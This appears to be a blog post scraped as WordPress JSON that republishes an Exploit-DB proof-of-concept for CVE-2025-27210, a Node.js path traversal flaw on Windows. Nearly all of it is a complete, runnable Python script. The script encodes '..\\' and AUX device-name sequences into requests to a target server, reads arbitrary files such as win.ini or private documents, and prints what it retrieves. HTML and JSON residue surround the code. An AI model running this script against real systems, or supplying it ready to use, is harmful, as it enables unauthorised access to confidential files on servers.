\n# Exploit Title : NodeJS 24.x – Path Traversal
\n
# Exploit Author : Abdualhadi khalifa
\n
# CVE : CVE-2025-27210<\/p>\n
import argparse
\n
import requests
\n
import urllib.parse
\n
import json
\n
import sys<\/p>\n
def exploit_path_traversal_precise(target_url: str, target_file: str, method: str) -> dict:<\/p>\n
traverse_sequence = “..\\\\” * 6
\n
normalized_target_file = target_file.replace(“C:”, “”).lstrip(“\\\\\/”)
\n
malicious_path = f”{traverse_sequence}AUX\\\\..\\\\{normalized_target_file}”
\n
encoded_malicious_path = urllib.parse.quote(malicious_path, safe=”)
\n
full_url = f”{target_url}\/{encoded_malicious_path}”<\/p>\n
response_data = {
\n
“target_url”: target_url,
\n
“target_file_attempted”: target_file,
\n
“malicious_path_sent_raw”: malicious_path,
\n
“malicious_path_sent_encoded”: encoded_malicious_path,
\n
“full_request_url”: full_url,
\n
“http_method”: method,
\n
“success”: False,
\n
“response_status_code”: None,
\n
“response_content_length”: None,
\n
“extracted_content”: None,
\n
“error_message”: None
\n
}<\/p>\n
try:
\n
print(f”[*] Preparing precise Path Traversal exploit…”)
\n
print(f”[*] Malicious Path (Encoded): {encoded_malicious_path}”)
\n
print(f”[*] Request URL: {full_url}”)<\/p>\n
if method.upper() == ‘GET’:
\n
response = requests.get(full_url, timeout=15)
\n
elif method.upper() == ‘POST’:
\n
response = requests.post(f”{target_url}”, params={‘filename’: encoded_malicious_path}, timeout=15)
\n
else:
\n
raise ValueError(“Unsupported HTTP method. Use ‘GET’ or ‘POST’.”)<\/p>\n
response_data[“response_status_code”] = response.status_code
\n
response_data[“response_content_length”] = len(response.content)<\/p>\n
if response.status_code == 200:
\n
content = response.text
\n
response_data[“extracted_content”] = content
\n
if target_file.lower().endswith(“win.ini”) and “[windows]” in content.lower():
\n
response_data[“success”] = True
\n
elif len(content) > 0: # For any other file, just check for non-empty content.
\n
response_data[“success”] = True
\n
else:
\n
response_data[“error_message”] = “Received 200 OK, but content is empty or unexpected.”
\n
else:
\n
response_data[“error_message”] = f”Server responded with non-200 status code: {response.status_code}”<\/p>\n
except requests.exceptions.Timeout:
\n
response_data[“error_message”] = “Request timed out. Server might be slow or unresponsive.”
\n
except requests.exceptions.ConnectionError:
\n
response_data[“error_message”] = “Connection failed to target. Ensure the Node.js application is running and accessible.”
\n
except ValueError as ve:
\n
response_data[“error_message”] = str(ve)
\n
except Exception as e:
\n
response_data[“error_message”] = f”An unexpected error occurred: {str(e)}”<\/p>\n
return response_data<\/p>\n
def main():<\/p>\n
parser = argparse.ArgumentParser(
\n
prog=”CVE-2025-27210_NodeJS_Path_Traversal_Exploiter.py”,
\n
description=”””
\n
Proof of Concept (PoC) for a precise Path Traversal vulnerability in Node.js on Windows (CVE-2025-27210).
\n
This script leverages how Node.js functions (like path.normalize() or path.join())
\n
might mishandle reserved Windows device file names (e.g., CON, AUX) within Path Traversal
\n
sequences.
\n
“””,
\n
formatter_class=argparse.RawTextHelpFormatter
\n
)
\n
parser.add_argument(
\n
“-t”, “–target”,
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type=str,
\n
required=True,
\n
help=”Base URL of the vulnerable Node.js application endpoint (e.g., http:\/\/localhost:3000\/files).”
\n
)
\n
parser.add_argument(
\n
“-f”, “–file”,
\n
type=str,
\n
default=”C:\\\\Windows\\\\win.ini”,
\n
help=”””Absolute path to the target file on the Windows system.
\n
Examples: C:\\\\Windows\\\\win.ini, C:\\\\secret.txt, C:\\\\Users\\\\Public\\\\Documents\\\\important.docx
\n
“””
\n
)
\n
parser.add_argument(
\n
“-m”, “–method”,
\n
type=str,
\n
choices=[“GET”, “POST”],
\n
default=”GET”,
\n
help=”HTTP method for the request (‘GET’ or ‘POST’).”
\n
)<\/p>\n
args = parser.parse_args()<\/p>\n
# — CLI Output Formatting —
\n
print(“\\n” + “=”*70)
\n
print(” CVE-2025-27210 Node.js Path Traversal Exploit PoC”)
\n
print(“=”*70)
\n
print(f”[*] Target URL: {args.target}”)
\n
print(f”[*] Target File: {args.file}”)
\n
print(f”[*] HTTP Method: {args.method}”)
\n
print(“-“*70 + “\\n”)<\/p>\n
result = exploit_path_traversal_precise(args.target, args.file, args.method)<\/p>\n
print(“\\n” + “-“*70)
\n
print(” Exploit Results”)
\n
print(“-“*70)
\n
print(f” Request URL: {result[‘full_request_url’]}”)
\n
print(f” Malicious Path Sent (Raw): {result[‘malicious_path_sent_raw’]}”)
\n
print(f” Malicious Path Sent (Encoded): {result[‘malicious_path_sent_encoded’]}”)
\n
print(f” Response Status Code: {result[‘response_status_code’]}”)
\n
print(f” Response Content Length: {result[‘response_content_length’]} bytes”)<\/p>\n
if result[“success”]:
\n
print(“\\n [+] File successfully retrieved! Content below:”)
\n
print(” ” + “=”*66)
\n
print(result[“extracted_content”])
\n
print(” ” + “=”*66)
\n
else:
\n
print(“\\n [-] File retrieval failed or unexpected content received.”)
\n
if result[“error_message”]:
\n
print(f” Error: {result[‘error_message’]}”)
\n
elif result[“extracted_content”]:
\n
print(“\\n Response content (partial, may indicate server error or unexpected data):”)
\n
print(” ” + “-“*66)
\n
# Truncate long content if not fully successful
\n
print(result[“extracted_content”][:1000] + “…” if len(result[“extracted_content”]) > 1000 else result[“extracted_content”])
\n
print(” ” + “-“*66)<\/p>\n
print(“\\n” + “=”*70)
\n
print(” Complete”)
\n
print(“=”*70 + “\\n”)<\/p>\n
if __name__ == “__main__”:
\n
main()\n<\/div>\n
View Full Exploit Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"Exploit Details Basic Information Exploit Title NodeJS 24.x – Path Traversal Exploit ID EDB-ID:52369 Type exploitdb Published 2025-07-16T00:00:00 Modified 2025-07-16T00:00:00 CVSS Information Severity NONE Vector…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,40,13,33,7,11,5],"class_list":["post-8237","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-exploitdb","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n
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